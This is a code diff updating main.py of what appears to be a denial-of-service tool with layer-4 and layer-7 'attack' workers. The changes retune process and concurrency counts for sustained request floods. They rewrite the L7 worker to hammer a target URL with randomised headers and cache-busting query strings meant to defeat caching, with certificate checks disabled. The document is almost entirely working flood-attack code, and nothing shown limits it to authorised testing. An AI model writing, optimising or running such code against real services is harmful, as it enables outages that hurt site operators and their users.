Update main.py

main.py

@@ -35,26 +35,24 @@ app = FastAPI(
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# Auto-tune based on system resources
-if CPU_COUNT <= 4:
-    MAX_PROCESSES = CPU_COUNT * 4
-    MAX_CONCURRENCY_PER_PROCESS = 512
-elif CPU_COUNT <= 8:
-    MAX_PROCESSES = CPU_COUNT * 8  # 8 cores = 64 processes
-    MAX_CONCURRENCY_PER_PROCESS = 1024
-elif CPU_COUNT <= 16:
+# Optimized for SUSTAINED performance (not burst)
+# More processes, lower concurrency = better sustained RPS
+if CPU_COUNT >= 32:
+    # High-core systems (32-64+ cores)
+    MAX_PROCESSES = min(CPU_COUNT * 4, 256)
+    MAX_CONCURRENCY_PER_PROCESS = 256  # Lower for stability
+elif CPU_COUNT >= 16:
     MAX_PROCESSES = CPU_COUNT * 6
-    MAX_CONCURRENCY_PER_PROCESS = 768
-else:
-    MAX_PROCESSES = CPU_COUNT * 4
+    MAX_CONCURRENCY_PER_PROCESS = 384
+elif CPU_COUNT >= 8:
+    # 8-core systems (like yours)
+    MAX_PROCESSES = CPU_COUNT * 12  # 96 processes
     MAX_CONCURRENCY_PER_PROCESS = 512
-
-# Adjust for low RAM systems
-if TOTAL_RAM_GB < 8:
+else:
+    MAX_PROCESSES = CPU_COUNT * 8
     MAX_CONCURRENCY_PER_PROCESS = 256
-    MAX_PROCESSES = min(MAX_PROCESSES, CPU_COUNT * 4)
 
-STATS_BATCH_UPDATE_SIZE = 1000  # Larger batches
+STATS_BATCH_UPDATE_SIZE = 500  # Smaller batches for accurate counting
 TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
 
 # --- L7 Enhanced Headers Pool ---
@@ -249,60 +247,76 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
 #  OPTIMIZED L7 WORKER PROCESS
 # ====================================================================================
 async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    """Ultra-aggressive L7 worker with connection pooling and minimal timeouts."""
+    """Optimized L7 worker for sustained high RPS."""
     ssl_context = ssl.create_default_context()
     ssl_context.check_hostname = False
     ssl_context.verify_mode = ssl.CERT_NONE
     
-    # Maximum throughput connector settings
+    # Balanced connector settings for sustained throughput
     connector = aiohttp.TCPConnector(
-        limit=0,  # Unlimited connections
-        limit_per_host=0,  # No per-host limit
+        limit=concurrency * 2,  # 2x concurrency for connection pool
+        limit_per_host=concurrency,  
         ttl_dns_cache=300,
         force_close=False,  # Reuse connections
         enable_cleanup_closed=True,
         keepalive_timeout=30
     )
     
-    # Aggressive timeouts
-    timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=2)
+    # Balanced timeouts
+    timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=5)
     
     async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
-        async def task_worker():
+        async def task_worker(worker_id):
             """Individual task worker - sends requests continuously."""
             local_counter = 0
+            consecutive_errors = 0
+            
             while not stop_event.is_set():
                 try:
                     # Random query string to bypass caching
-                    cache_buster = f"?_={random.randint(1, 999999999)}"
+                    cache_buster = f"?_t={int(time.time() * 1000)}&_r={random.randint(1, 999999)}"
+                    
+                    # Use the specified HTTP method
                     async with session.request(
-                        method, 
+                        method.upper(),
                         f"{url}{cache_buster}", 
                         headers=get_random_headers(),
-                        allow_redirects=False
+                        allow_redirects=False,
+                        timeout=timeout
                     ) as response:
-                        # Don't wait for full response - just status
-                        _ = response.status
-                    local_counter += 1
-                except:
-                    # Count failures too for accurate metrics
-                    local_counter += 1
+                        # Read just the status - count only successful requests
+                        if response.status < 500:  # Count all non-server-error responses
+                            local_counter += 1
+                            consecutive_errors = 0
+                        else:
+                            consecutive_errors += 1
+                            
+                except (asyncio.TimeoutError, aiohttp.ClientError):
+                    consecutive_errors += 1
+                    # Back off if too many errors
+                    if consecutive_errors > 5:
+                        await asyncio.sleep(0.05)
+                        consecutive_errors = 0
+                except Exception:
+                    consecutive_errors += 1
+                    if consecutive_errors > 5:
+                        await asyncio.sleep(0.05)
+                        consecutive_errors = 0
                 finally:
                     # Batch updates for performance
                     if local_counter >= STATS_BATCH_UPDATE_SIZE:
                         with shared_counter.get_lock():
                             shared_counter.value += local_counter
                         local_counter = 0
-                    # Minimal yield
-                    await asyncio.sleep(0)
+                    # No sleep - maximum speed
             
             # Final update
             if local_counter > 0:
                 with shared_counter.get_lock():
                     shared_counter.value += local_counter
         
-        # Launch all concurrent tasks
-        tasks = [asyncio.create_task(task_worker()) for _ in range(concurrency)]
+        # Launch all concurrent tasks with IDs
+        tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
         await asyncio.gather(*tasks, return_exceptions=True)
 
 def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):